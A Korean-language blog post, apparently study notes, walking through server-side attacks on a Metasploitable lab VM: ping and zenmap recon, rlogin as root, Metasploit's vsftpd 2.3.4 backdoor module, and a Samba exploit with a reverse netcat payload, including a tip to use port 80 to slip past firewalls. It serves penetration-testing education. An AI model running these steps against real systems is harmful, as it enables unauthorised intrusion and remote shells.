권한 획득 - 서버 사이드

김동하·2025년 12월 22일

security

목록 보기
5/11
post-thumbnail

서버사이드 공격 개요

자, 이제 서버사이드 공격을 해보자.

대상이 일반 개인용 컴퓨터라고 하자.

  • 나와 같은 네트워크가 아니며
  • 단지 타켓 컴퓨터의 IP만 알고 있다.

하지만 대부분의 개인 컴퓨터는 라우터(NAT) 뒤에 숨었기 때문에 외부에서 직접 IP 접근이 불가하다. 그래서 그 IP를 통해 어떤 OS이고 어떤 프로그램이 설치됐고 살펴보려고 해도 컴퓨터 정보가 아니라 라우터 정보일 확률이 높다

하지만 웹 서버나 서버 시스템을 타겟으로 할 경우

  • 서버는 고유한 공인 IP 주소가 있고
  • 그 IP에 인터넷에서 접근이 가능하다
  • 단, 대상이 같은 네트워크에 있거나 직접 접근 가능한 IP를 가지고 있는 경우!

즉, 개인 컴퓨터라고 해도 ping이 된다면 정보 수집을 할 수 있다! 서버사이드 공격의 목표는 OS 해킹이 아니라 돌아가는 서비스를 통해 침투하는 것이다.

특정 서버 컴퓨터의 정보 수집 공격을 하기 위해서 Metasploitable라는 가상 머신을 설치한다. Metasploitable는 다양한 취약점이 포함된 여러 서비스와 애플리케이션을 실행하여 해킹 공격을 할 수 있는 예제 가상 머신이다.

ping

서버 사이드 공격의 첫 번째 단계는 정보수집이다. 그래서 가장 먼저 해당 컴퓨터의 IP 주소를 알아내야 한다. 그럼 ping이 되는지부터 확인하자

타겟의 IP는 192.168.128.2다.

그럼 공격 컴퓨터로 가서 핑을 쏘자

핑이 되는 걸 확인했다.

zenmap

IP를 식별하고 포트를 분석하기 위해 zenmap이라는 도구를 사용할 것이다.

타켓 IP를 스캔해보면 열려있는 포트와 서비스를 확인할 수 있다.

먼저, FTP 서비스가 열려있다. 이를 통해 파일 업로드or다운로드가 무단으로 가능하다! 이렇게 하나씩 살펴보면서 구글링을 통해 어떤 서비스인지 찾고 취약점을 발견할 수 있다.

다음 포트를 살펴보자.

정보 수집

서비스 이름이 netkit-rsh rexecd을 발견했다. 구글링해보면

이렇게, remote execution program이라는 걸 알 수 있다. 그럼 rlogin이라는 프로그램을 이용하여 원격 접속해보자

rlogin -i root [타켓 IP]

보통 대부분 유저의 기본 id가 root니까 이렇게 접근을 한다.

그러면 타켓 시스템에 대한 접근을 획득한다!

⚠️현재는 rlogin에 이 방법으로는 침투하기 못 한다.

Metasploit

자, 이제 다음 단계인 백도어 설치로 넘어가보자

Metasploit 프레임워크를 활용하여 침투 테스트를 해볼 수 있다.

아까 스캔을 통해서 찾았던 ftp 중 vsfrpd 2.3.4를 다시 구글에 검색한다 이번에 expolit를 붙인다.

Rapid7란 사이트가 가장 먼저 보이는데, Rapid7은 Metasploit을 만든 회사다.

Rapid7에는 발견된 취약점이 정리 되어 있고, 대부분은 모듈로 만들어졌다. 스캔을 통해 취약점을 발견하고 구글링해보면 된다!

그럼 VSFTPD v2.3.4 관련된 명령어를 알 수 있다. 위 사이트를 참고해서 백도어를 실행해보자.

먼저 msfconsole로 실행하고

use exploit/unix/ftp/vsftpd_234_backdoor 사이트에 있던 커맨드를 입력한다.

show options 커맨드를 통해서 무엇을 할 수 있을지 확인해본다. RHOST 옵션을 타겟 IP로 변경해보자.

set RHOST [타겟 IP]

다시 options를 확인해보면

RHOST가 타켓 IP로 잘 변경되었다. 이제 exploit로 실행하면 된다!

성공적으로 접근했다는 로그가 나오고

공격자 컴퓨터에서 타켓 컴퓨터에 접근한 것을 확인 할 수 있다! (같은 네트워크를 쓰고 취약점만 있다면 생각보다 쉽게 접근할 수 있어서 놀랐다)

페이로드

이제 다른 취약점을 찾아보자. 다시 스캔으로 돌아가서

삼바라는 녀석을 발견했다. Samba는 리눅스에서 파일 공유와 네트워크 서비스를 제공한다. 이전과 동일하게 구글에서 모듈을 찾자

역시나 모듈이 있다.

바로 실행해본다.

동일하게 RHOST를 타겟 IP로 바꾼다. 이전 침투와 다른 점이 있다면, 백도어가 존재하지 않는다는 것이다.

이번 프로그램(삼바)는 정상적인 프로그램이고 취약한 지점을 발견해 payload를 강제로 실행시켜야 한다.

payload란 취약점이 뚫렸을 때, 실제 실행되는 코드 조각이다. 사용할 수 있는 payload가 뭐가 있는지 먼저 확인해보자

뭔가 되게 많이 나오는데, 페이로드는 보통 3가지로 나뉜다.

  • 커맨드 페이로드는 단순한 명령을 실행한다
  • 바인드 페이로드는 타켓 컴퓨터의 포트를 열고 공격자가 그 포트로 들어간다. 하지만 방화벽에 잘 막힘
  • 리버스 페이로드는 타겟이 공격자에게 연결한다. 대부분 방화벽이 안에서 밖으로 가는 연결은 허용하는 것을 역이용한다!

이번 예제에서는 reverse_netcat을 사용한다

set PAYLOAD payload/cmd/unix/reverse_netcat

LHOST에 공격자의 IP가 세팅된 것을 확인할 수 있다. 여기서 LHOST는 Local Host도 공격자를 뜻하고 RHOST는 Remote Host로 타겟을 뜻한다!

예를들어 LPORT를 80번으로 변경하면, 방화벽은 웹이라고 생각하여 차단하지 않는다.

RHOST, LHOST 모두 세팅을 했다. 이제 exploit을 실행하면 침투하는 것이다.

페이로드를 통한 침투에 성공했다!

profile
프론트엔드 개발

0개의 댓글